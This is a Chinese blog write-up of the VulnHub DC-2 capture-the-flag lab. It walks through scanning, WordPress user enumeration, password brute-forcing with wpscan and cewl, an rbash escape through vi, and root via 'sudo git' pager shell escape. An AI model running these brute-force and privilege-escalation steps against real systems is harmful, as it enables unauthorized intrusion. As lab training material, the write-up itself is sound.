XiaBee's Studio.

VulnHub DC2 通关纪实

字数统计: 1.5k阅读时长: 6 min
2020/03/09

写在前面:本站内容仅供技术交流分享,切勿非法使用,一切技术后果自行承担

上期回顾:VulnHub DC 1 通关纪实

DC 2 靶机下载地址:https://www.vulnhub.com/entry/dc-2,311/

渗透主机:kali 2020

涉及渗透技术:

  • nmap 等扫描
  • 本地域名解析
  • wpscan 扫描和攻击
  • cewl 针对性字典生成
  • git 提权

题目描述

image-20230321154210123

搭建靶机

DC1 一样,这里我们直接搭建在 VM 里面,保障靶机和渗透主机在同一网段即可,这里我们网络模式选择 NAT 模式,即共享IP地址

信息收集

渗透主机地址:192.168.80.128

image-20230321154353148

靶机地址:192.168.80.131

image-20230321154404028

发现 ip,直接 nmap 一顿梭:nmap -A -p- -T4 192.168.80.131

image-20230321154438952

发现开放了 80 端口和 7744 端口 然后康康他的网站目录,dirb 一顿梭:dirb http://192.168.80.131

image-20230321154640381

dirb 爆破目录 看到熟悉的 “wp-admin”,基本可以确定是个 wordpress 的网站了 直接浏览器访问一下试试:

image-20230321154705662

emmmm 靶机做了重定向,直接跳转到了http://dc-2,而且还没做域名解析……

我们整理一下信息:

  • 靶机开放了80端口
  • 80端口重定向到了 http://dc-2
  • 靶机CMS框架为 wordpress
  • 靶机开放了ssh端口

修改域名解析

既然靶机没有做域名解析,那就在主机本地做一次域名解析嘛

1
2
3
4
sudo chmod 777 /etc/hosts
# 修改权限,保证非root也可写可执行
vi /etc/hosts
# 进入vim修改hosts文件

手动添加 dc-2 的解析,保存并退出:

image-20230321154808330

修改hosts文件

然后再次浏览器访问 http://dc-2:

image-20230321154827502

此时看到了经典的WP主题

寻找 FLAG

FLAG1

首页好大一个 Flag 按钮,直接点进去康康:image-20230321154914261

Flag 1: Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl. More passwords is always better, but sometimes you just can’t win them all. Log in as one to see the next flag. If you can’t find it, log in as another.

flag1提示

flag1暗示我们,常用字典可能不管用了,也许需要cewl一下

FLAG2

话不多说,直接上 wpscan 开始跑

为什么不像 DC1 那样直接跑一顿 msf:试过了,只靠现有的payload好像打不下来……

那我们就先康康网站有哪些用户:

1
2
wpscan --url http://dc-2 -e u
#扫描wordpress中的发表过文章的用户

image-20230321155026756

枚举用户名 扫描发现三个用户,分别为:admin, jerry, tom

利用刚刚扫描得到的用户信息,通过 cewl 生成密码字典:

1
2
cewl http://dc-2 -w pass
# 针对 dc-2 这个网站生成字典,并保存在pass文件中

再创建一个 user 文件,保存刚刚扫出来的三个用户名

image-20230321155119519

image-20230321155127245

pass和user的文件内容

wpscan 爆破用户密码:

1
2
wpscan --url http://dc-2 -U user -P pass
# 对dc-2进行爆破,使用的字典为刚刚写的 user 和 pass

直接爆破,发现靶机没做防火墙,那莽就完事了……(我用同样的办法爆破我自己的博客,然后被防火墙封了四个小时www)

image-20230321155203943

爆破结果 此时看到,admin 的密码不在字典里面,但是 tom and jerry 都被爆出来了

  • Username: jerry, Password: adipiscing
  • Username: tom, Password: parturient

随便挑一个登陆后台,我们在 Pages 里面看到坨大一个 Flag2:

image-20230321155258856

Flag2

点进去康康:

image-20230321155311953

Flag 2: If you can’t exploit WordPress and take a shortcut, there is another way. Hope you found another entry point.

flag2提示

意思就是直接爆破Wordpress是没用的,你得找别的方法进去……(和我们前期msf尝试的结果一样一样的

FLAG3

直接用刚刚爆出来的两个账号 ssh 登录一下试试:

1
2
ssh tom@192.168.80.131 -p 7744
# 这里加个 -p 是因为靶机的ssh不是常用端口,需要指定一下

然后直接用刚刚爆破出来的密码”parturient”登陆进去:

image-20230321155506493

tom 登陆成功 然后四处逛逛,发现他有 flag3,但是你看不了,因为你是 rbash……

image-20230321155526148

rbash

那先查看一下环境变量:echo $PATH$

image-20230321155600035

还有救,我们尝试用vi转义一下shell,拿一个权限比较高的 bash shell出来

1
2
3
4
vi
:set shell=/bin/bash
:shell
# 这里利用的是vim命令模式,通过vim命令来设置shell转义
image-20230321155632261

然后设置环境变量:

1
2
3
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL
# 把刚刚设置好的shell导入环境变量中
image-20230321155711221

此时的PATH已经变了

然后尝试cat一下,可以了:

image-20230321155732923

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

flag3提示

FLAG4

flag3 暗示我们切换到 jerry 的用户去(Jerry的密码是adipiscing)

1
2
3
4
5
su jerry
cd /home/jerry
ls
cat flag4.txt
# 进去直接看到了flag4...

image-20230321155847034

Good to see that you’ve made it this far - but you’re not home yet. You still need to get the final flag (the only flag that really counts!!!). No hints here - you’re on your own now. :-) Go on - git outta here!!!!

flag4提示

Final FLAG

先看一眼当前用户:whoami

image-20230321155933121

确认过眼神,还是jerry,没有 root 从天而降……

sudo -l 一下,看看 jerry 有哪些权限:

image-20230321160001117

emmm jerry居然能以root身份去git,那没事了,开始提权 (而且flag4也暗示我们通过git提权,我们就上网找一个poc)

1
2
sudo git help config
# root权限打开git的配置,注意这里一定要sudo,不然是以普通用户身份打开git

image-20230321160051663

多页分隔,绝佳的 hack 位点

1
2
!/bin/bash
# 直接在config里面输入命令,反弹bash
image-20230321160123058

回车,然后发现我们已经有了root 的shell:

image-20230321160142115

此时已是root

然后直接去老家看flag啦:

1
2
3
cd /root
ls
cat final-flag.txt

image-20230321160207972

Congratulatons!!! A special thanks to all those who sent me tweets and provided me with feedback - it’s all greatly appreciated. If you enjoyed this CTF, send me a tweet via @DCAU7. Well done!

小结

整体来说 DC2 可能比 DC1 简单一点点,因为没有涉及 msf 的各种调试和数据库的修改 hhh

当然这也可能是我的错觉

这次主要学到了git还能这样玩

下次的题下次再更,我是鸽手(x)

CATALOG
  1. 1. 题目描述
  2. 2. 搭建靶机
  3. 3. 信息收集
  4. 4. 修改域名解析
  5. 5. 寻找 FLAG
    1. 5.1. FLAG1
    2. 5.2. FLAG2
    3. 5.3. FLAG3
    4. 5.4. FLAG4
    5. 5.5. Final FLAG
  6. 6. 小结